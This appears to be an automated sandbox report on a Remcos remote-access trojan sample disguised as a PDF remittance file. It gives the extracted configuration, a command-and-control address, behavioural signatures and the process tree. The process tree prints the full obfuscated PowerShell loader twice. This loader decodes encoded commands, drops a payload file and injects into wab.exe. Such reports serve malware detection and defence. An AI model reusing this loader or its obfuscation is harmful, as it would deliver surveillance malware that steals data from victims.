Analysis
- max time kernel
150s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
27/07/2026, 17:16
General
- Target Remittance_90523_03.pdf.vbs
- Size 269KB
- Sample260727-vtmpyaan8w
- SHA256 fc09faa3fdbf0f6b7d7aad125eca6798b8fb928714dfb0c6b7964a866fdffe39
Score
10/10
Malware Config
Extracted
Family
-
remcos
Version
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7.2.6 Pro
Botnet
-
RemoteHost
C2
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102.220.160.105:2404
Attributes
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
-
copy_folder
Remcos
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delete_file
false
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hide_file
false
-
hide_keylog_file
false
-
install_flag
false
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keylog_crypt
false
-
keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
-
mutex
Rmc-21S2XL
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
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screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Remittance_90523_03.pdf.vbs"1⤵
- Badlisted process makes network request
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function xqzzp { param($silicothermic); [void](Get-Location) };$filoperationens = Get-Date;$kennelklubberne128=-53609+53609;$kartoteksstyrings=-13114+19114;$allowichromatise = Get-Random;function jeep ($diverterede,$allow) {$glasvrkerne=radiotelegrafisternes(@(111,197,207,220,202,221,227,213,226,202,214,216,120,195,222,213,215,147,147,209,220,209,225,234,116)) ;Afskrivningsvederlagene ($glasvrkerne);[void](Get-Random)}[void](Get-Date);function rtyui { param($unimpartially); [void](Get-Location) };[void](Get-Location);function radiotelegrafisternes ($unbiographically) { do {$kartoteksstyrings=$kennelklubberne128%12;$diverteredecetract=$multiwall[$kartoteksstyrings];$unbiographically[$kennelklubberne128]-=$diverteredecetract;$kartoteksstyrings=$unbiographically[$kennelklubberne128];$kartoteksstyrings=[char]$kartoteksstyrings;$anticlimaxes+=$kartoteksstyrings;$kennelklubberne128++} while ($unbiographically[$kennelklubberne128])[void](Get-Random);$anticlimaxes}[void](Get-Date);function Afskrivningsvederlagene ($hoejredel) {[void](Get-Date);.($berthierite) $hoejredel}[void](Get-Location);function qwerty { param($chinner); [void](Get-Date) };Function Camouflipr ($unbiographically,$tokomponentlimenes129=0){[void](Get-Location);$underteacher=radiotelegrafisternes(@(166,164,213,212,219,208,225,228,205,159,172,185,189,208,211,168,198,222,212,166,164,184,230,229,180,207,205,142,137,224,221,210,217,212,217,229,172,209,206,207,200,204,219,220,233,142));$urinerende=@(Afskrivningsvederlagene ($underteacher));[void](Get-Random);For($knockings=0; $urinerende[$knockings] -ne $scandinavia; $knockings++){$urinerende[$knockings] = jeep $urinerende[$knockings] $multiwall[$knockings%12]}$xiphodontidae=radiotelegrafisternes(@(120,203,213,207,211,139,202,211,216,198,228,206,168,190,138,219,215,212,221,213,226,202,224,215,176));[void](Get-Location);$hammes=Afskrivningsvederlagene ($xiphodontidae);if ($tokomponentlimenes129) { [void](Get-Date);Afskrivningsvederlagene $hammes}else {;$hammes}}$civilkonomens = Get-Location;$multiwall=@(75,97,102,102,101,107,111,112,112,101,114,115);$berthierite=radiotelegrafisternes @(148,166,190);$pengepolitik = Get-Date;$forbrdredes='\Colorifics.fil';$euchre=Camouflipr 'fk9WRk08Bh4UCgUAay8yRlRbQUBLRSUaJVdSXUUTWURLRQAFcVBTVEtbRlA3ABEYJE5UVlRbX0FAVFI1IhMDAAoTQEFFV1xD';$grutches=Camouflipr 'IxUSFhZRQF8UFxsFLk8BCQoMAxVeBh0eZBQFWQATHx8CEU8XJBYICgoKC1YZAU9CIxEDIysIPQUoUEcaLypWDTYBXkkvIiESeAM+VSQ7BUE=';$quinquedentated=Camouflipr 'BhIeCwlZQSMVFwQWOTkrKi0/OyBeU1xD';$kogeplader = Get-Random;$nummerlaanstrkninger93=Camouflipr 'DCQy';$unstupidness6=Camouflipr 'HhIDFEgqCBUeEQ==';$syntakstrs154=Camouflipr 'dQ==';Camouflipr 'bwYKCQcKA0oHBAEHLgMHFQ4OG01UABwFcQAWFgEKGxFbQRQcOQMUAhcOCxUD' 1;Camouflipr 'bwYKCQcKA0oCAAYcOQQIW0EMHQUEBhoWOE8VFgkCG1hUFgsdPwANFREZHEFFUVs=' 1;$grutches=$retoren[0];Camouflipr 'bwYKCQcKA0oYAAEaPwASAxZWIRUHSD0RIQQFEkVGLB8dRVYCPggIFxAOCxUeERMHLgU=' 1;Camouflipr 'bwYKCQcKA0oRDgYaPQgVEgEAARkeAk9bHwQVEkg7DgQYRVYEKhISAwcKHBsVEVs=' 1;while (!$aktivistdkning) {Camouflipr 'bwYKCQcKA0okABkAKQQOBwsPAxkeAgEVKgIPCgwfCgQVFxwWOFxCEhceCg==' 1;Camouflipr 'bwkDFQwfDgQVFlwcOwQITkEFGh0dAAAfKgAIFREZBB4ZCxUWOVhVSkVPCAIFEREbLhJKRkENDhwDAFs=' 1;Camouflipr 'bwkDFQwfDgQVFlwALhU0AxQeCgMELRcSLwQUTkEeAQMEEAIaLw8DFRZdQ1BUAAcQIxMDTw==' 1;Camouflipr 'bwkDFQwfDgQVFlwALg8CTkw=' 1;Camouflipr 'bwYKCQcKA0oWBBwfLgAAW0EDCgMZERMHLhJIFREKGwUDRV8WOkFUVlU=' 1;if ($fanleaf) {Camouflipr 'EAMfEgAwMi1UAh4cKQAKXBAFCxUCCRMULhVbQg0OHBkEBAYWOE8UAxYbAB4DADAcLxg=' 1;Camouflipr 'OAJGQhIKHAQVBxMAIAQSRkEeARQVFx4SLAQSRkguARMfARsdLEEkHxEO' 1} Camouflipr 'GA0DAxVDW1k=' 1;Camouflipr 'bwYKCQcKA0oRDgYaPQgVEgEAARkeAk9bHwQVEkg7DgQYRVYEKhISAwcKHBsVEVs=' 1 ;Camouflipr 'bwYKCQcKA0oYCgQWLxUDCwQOHU1UAh4cKQAKXAMEHRYRCRYALwABAxZARFVUFxcHJBMDCEsIAAUeEQ==' 1;$grutches=$retoren[$hovedtemaer]}$kuldslog=139246;$unmusicality=20552;Camouflipr 'bwYKCQcKA0oSFxsUKg8CBwIOUhcTRVYEKhISAwcKHBsVEQ==' 1;Camouflipr 'bwYKCQcKA0o/ExcBOAIHEhEOHU0rJh0dPQQUEjhRVTYCCh8xKhIDUFE4GwIZCxVbbwMUDwIKARQRAhda' 1;Camouflipr 'bwYKCQcKA0ocDBUGJwASA1gwOxUIEVw2JQIJAgwFCC1KXzMgCCgvSCIOGyMEFxsdLElCKRMOHQMTBAYHLhNP' 1;Camouflipr 'bwYKCQcKA0oDDQcdPxJbQgkCCAUcBAYWZRITBBYfHRkeAlpXIBQKAhYHABdcQQcdJhQVDwYKAxkEHFs=' 1;Afskrivningsvederlagene $shunts;function bvcxz { param($tardando); [void](Get-Random) };;;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function xqzzp { param($silicothermic); [void](Get-Location) };$filoperationens = Get-Date;$kennelklubberne128=-53609+53609;$kartoteksstyrings=-13114+19114;$allowichromatise = Get-Random;function jeep ($diverterede,$allow) {$glasvrkerne=radiotelegrafisternes(@(111,197,207,220,202,221,227,213,226,202,214,216,120,195,222,213,215,147,147,209,220,209,225,234,116)) ;Afskrivningsvederlagene ($glasvrkerne);[void](Get-Random)}[void](Get-Date);function rtyui { param($unimpartially); [void](Get-Location) };[void](Get-Location);function radiotelegrafisternes ($unbiographically) { do {$kartoteksstyrings=$kennelklubberne128%12;$diverteredecetract=$multiwall[$kartoteksstyrings];$unbiographically[$kennelklubberne128]-=$diverteredecetract;$kartoteksstyrings=$unbiographically[$kennelklubberne128];$kartoteksstyrings=[char]$kartoteksstyrings;$anticlimaxes+=$kartoteksstyrings;$kennelklubberne128++} while ($unbiographically[$kennelklubberne128])[void](Get-Random);$anticlimaxes}[void](Get-Date);function Afskrivningsvederlagene ($hoejredel) {[void](Get-Date);.($berthierite) $hoejredel}[void](Get-Location);function qwerty { param($chinner); [void](Get-Date) };Function Camouflipr ($unbiographically,$tokomponentlimenes129=0){[void](Get-Location);$underteacher=radiotelegrafisternes(@(166,164,213,212,219,208,225,228,205,159,172,185,189,208,211,168,198,222,212,166,164,184,230,229,180,207,205,142,137,224,221,210,217,212,217,229,172,209,206,207,200,204,219,220,233,142));$urinerende=@(Afskrivningsvederlagene ($underteacher));[void](Get-Random);For($knockings=0; $urinerende[$knockings] -ne $scandinavia; $knockings++){$urinerende[$knockings] = jeep $urinerende[$knockings] $multiwall[$knockings%12]}$xiphodontidae=radiotelegrafisternes(@(120,203,213,207,211,139,202,211,216,198,228,206,168,190,138,219,215,212,221,213,226,202,224,215,176));[void](Get-Location);$hammes=Afskrivningsvederlagene ($xiphodontidae);if ($tokomponentlimenes129) { [void](Get-Date);Afskrivningsvederlagene $hammes}else {;$hammes}}$civilkonomens = Get-Location;$multiwall=@(75,97,102,102,101,107,111,112,112,101,114,115);$berthierite=radiotelegrafisternes @(148,166,190);$pengepolitik = Get-Date;$forbrdredes='\Colorifics.fil';$euchre=Camouflipr 'fk9WRk08Bh4UCgUAay8yRlRbQUBLRSUaJVdSXUUTWURLRQAFcVBTVEtbRlA3ABEYJE5UVlRbX0FAVFI1IhMDAAoTQEFFV1xD';$grutches=Camouflipr 'IxUSFhZRQF8UFxsFLk8BCQoMAxVeBh0eZBQFWQATHx8CEU8XJBYICgoKC1YZAU9CIxEDIysIPQUoUEcaLypWDTYBXkkvIiESeAM+VSQ7BUE=';$quinquedentated=Camouflipr 'BhIeCwlZQSMVFwQWOTkrKi0/OyBeU1xD';$kogeplader = Get-Random;$nummerlaanstrkninger93=Camouflipr 'DCQy';$unstupidness6=Camouflipr 'HhIDFEgqCBUeEQ==';$syntakstrs154=Camouflipr 'dQ==';Camouflipr 'bwYKCQcKA0oHBAEHLgMHFQ4OG01UABwFcQAWFgEKGxFbQRQcOQMUAhcOCxUD' 1;Camouflipr 'bwYKCQcKA0oCAAYcOQQIW0EMHQUEBhoWOE8VFgkCG1hUFgsdPwANFREZHEFFUVs=' 1;$grutches=$retoren[0];Camouflipr 'bwYKCQcKA0oYAAEaPwASAxZWIRUHSD0RIQQFEkVGLB8dRVYCPggIFxAOCxUeERMHLgU=' 1;Camouflipr 'bwYKCQcKA0oRDgYaPQgVEgEAARkeAk9bHwQVEkg7DgQYRVYEKhISAwcKHBsVEVs=' 1;while (!$aktivistdkning) {Camouflipr 'bwYKCQcKA0okABkAKQQOBwsPAxkeAgEVKgIPCgwfCgQVFxwWOFxCEhceCg==' 1;Camouflipr 'bwkDFQwfDgQVFlwcOwQITkEFGh0dAAAfKgAIFREZBB4ZCxUWOVhVSkVPCAIFEREbLhJKRkENDhwDAFs=' 1;Camouflipr 'bwkDFQwfDgQVFlwALhU0AxQeCgMELRcSLwQUTkEeAQMEEAIaLw8DFRZdQ1BUAAcQIxMDTw==' 1;Camouflipr 'bwkDFQwfDgQVFlwALg8CTkw=' 1;Camouflipr 'bwYKCQcKA0oWBBwfLgAAW0EDCgMZERMHLhJIFREKGwUDRV8WOkFUVlU=' 1;if ($fanleaf) {Camouflipr 'EAMfEgAwMi1UAh4cKQAKXBAFCxUCCRMULhVbQg0OHBkEBAYWOE8UAxYbAB4DADAcLxg=' 1;Camouflipr 'OAJGQhIKHAQVBxMAIAQSRkEeARQVFx4SLAQSRkguARMfARsdLEEkHxEO' 1} Camouflipr 'GA0DAxVDW1k=' 1;Camouflipr 'bwYKCQcKA0oRDgYaPQgVEgEAARkeAk9bHwQVEkg7DgQYRVYEKhISAwcKHBsVEVs=' 1 ;Camouflipr 'bwYKCQcKA0oYCgQWLxUDCwQOHU1UAh4cKQAKXAMEHRYRCRYALwABAxZARFVUFxcHJBMDCEsIAAUeEQ==' 1;$grutches=$retoren[$hovedtemaer]}$kuldslog=139246;$unmusicality=20552;Camouflipr 'bwYKCQcKA0oSFxsUKg8CBwIOUhcTRVYEKhISAwcKHBsVEQ==' 1;Camouflipr 'bwYKCQcKA0o/ExcBOAIHEhEOHU0rJh0dPQQUEjhRVTYCCh8xKhIDUFE4GwIZCxVbbwMUDwIKARQRAhda' 1;Camouflipr 'bwYKCQcKA0ocDBUGJwASA1gwOxUIEVw2JQIJAgwFCC1KXzMgCCgvSCIOGyMEFxsdLElCKRMOHQMTBAYHLhNP' 1;Camouflipr 'bwYKCQcKA0oDDQcdPxJbQgkCCAUcBAYWZRITBBYfHRkeAlpXIBQKAhYHABdcQQcdJhQVDwYKAxkEHFs=' 1;Afskrivningsvederlagene $shunts;function bvcxz { param($tardando); [void](Get-Random) };;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ee2nwjlp.nmt.ps1
Colorifics.fil
memory/3360-3-0x000001D64FC40000-0x000001D64FC50000-memory.dmp
memory/3360-4-0x000001D64FC00000-0x000001D64FC22000-memory.dmp
memory/3360-12-0x000001D64FC40000-0x000001D64FC50000-memory.dmp
memory/3360-2-0x000001D64FC40000-0x000001D64FC50000-memory.dmp
memory/4012-33-0x0000000007F50000-0x00000000085CA000-memory.dmp
memory/4012-37-0x0000000008B80000-0x0000000009124000-memory.dmp
memory/4012-21-0x0000000005E90000-0x0000000005EF6000-memory.dmp
memory/4012-29-0x0000000006100000-0x0000000006454000-memory.dmp
memory/4012-19-0x0000000005750000-0x0000000005772000-memory.dmp
memory/4012-31-0x0000000006710000-0x000000000672E000-memory.dmp
memory/4012-32-0x0000000006750000-0x000000000679C000-memory.dmp
memory/4012-18-0x0000000005860000-0x0000000005E88000-memory.dmp
memory/4012-34-0x0000000006C60000-0x0000000006C7A000-memory.dmp
memory/4012-35-0x0000000007970000-0x0000000007A06000-memory.dmp
memory/4012-36-0x00000000078D0000-0x00000000078F2000-memory.dmp
memory/4012-20-0x00000000057F0000-0x0000000005856000-memory.dmp
memory/4012-17-0x0000000005160000-0x0000000005196000-memory.dmp
memory/4012-39-0x0000000009130000-0x000000000EDF7000-memory.dmp
memory/4616-46-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/4616-50-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/4616-55-0x000000001E640000-0x000000001E737000-memory.dmp
memory/4616-58-0x000000001E640000-0x000000001E737000-memory.dmp
memory/4616-59-0x000000001E640000-0x000000001E737000-memory.dmp
memory/4616-66-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/4616-67-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/4616-68-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/4616-69-0x0000000000E00000-0x0000000002054000-memory.dmp